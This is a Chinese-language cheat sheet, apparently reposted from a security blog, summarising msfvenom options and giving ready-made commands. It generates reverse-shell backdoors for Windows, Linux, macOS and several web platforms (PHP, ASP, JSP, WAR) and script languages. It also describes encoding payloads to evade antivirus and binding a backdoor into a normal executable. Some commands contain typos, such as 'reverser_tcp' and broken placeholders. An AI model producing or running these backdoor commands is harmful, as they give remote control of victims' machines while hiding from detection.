Msfvenom学习总结

 

1.    –p (- -payload-options)

添加载荷payload。

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!

(- -payload-options 列出payload选项)

2.    –l

查看所有payload encoder nops。

3.    –f (- -help-formats)

输出文件格式。

(- -help-formats 列出所有文件格式)

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

4.    –e

编码免杀。

5.    –a (- -platform  – -help-platforms)

选择架构平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

6.    –o

文件输出。

7.    –s

生成payload的最大长度,就是文件大小。

8.    –b

避免使用的字符 例如:不使用 ‘\0f’。

9.    –i

编码次数。

10.         –c

添加自己的shellcode。

11.         –x | -k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

MSFVENOM实例

12.         普通生成

  1. msfvenom -p <payload<payload options-f <format-o <path>
  1. msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe

13.         编码处理型

  1. msfvenom -p <payload-e <encoder -i <encoder times-n <nopsled-f <format-o <path>
  1. msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

14.         捆绑

  1. Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe

15.         Windows

  1. Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
  1. Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe

16.         Linux

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f elf > shell.elf

17.         MAC

  1. msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f macho > shell.macho

18.         PHP

  1. msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f raw > shell.php

19.         Asp

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f asp > shell.asp

20.         Aspx

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f aspx > shell.aspx

21.         JSP

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f raw > shell.jsp

22.         War

  1. msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f war > shell.war

23.         Bash

  1. msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP AddressLPORT=<Your Port to Connect On>-f raw > shell.sh

24.         Perl

  1. msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f raw > shell.pl

25.         Python

  1. msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP AddressLPORT=<Your Port to Connect On-f raw > shell.py

 

 

转载:http://www.srcbug.com/2017/05/05/msfvenom%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/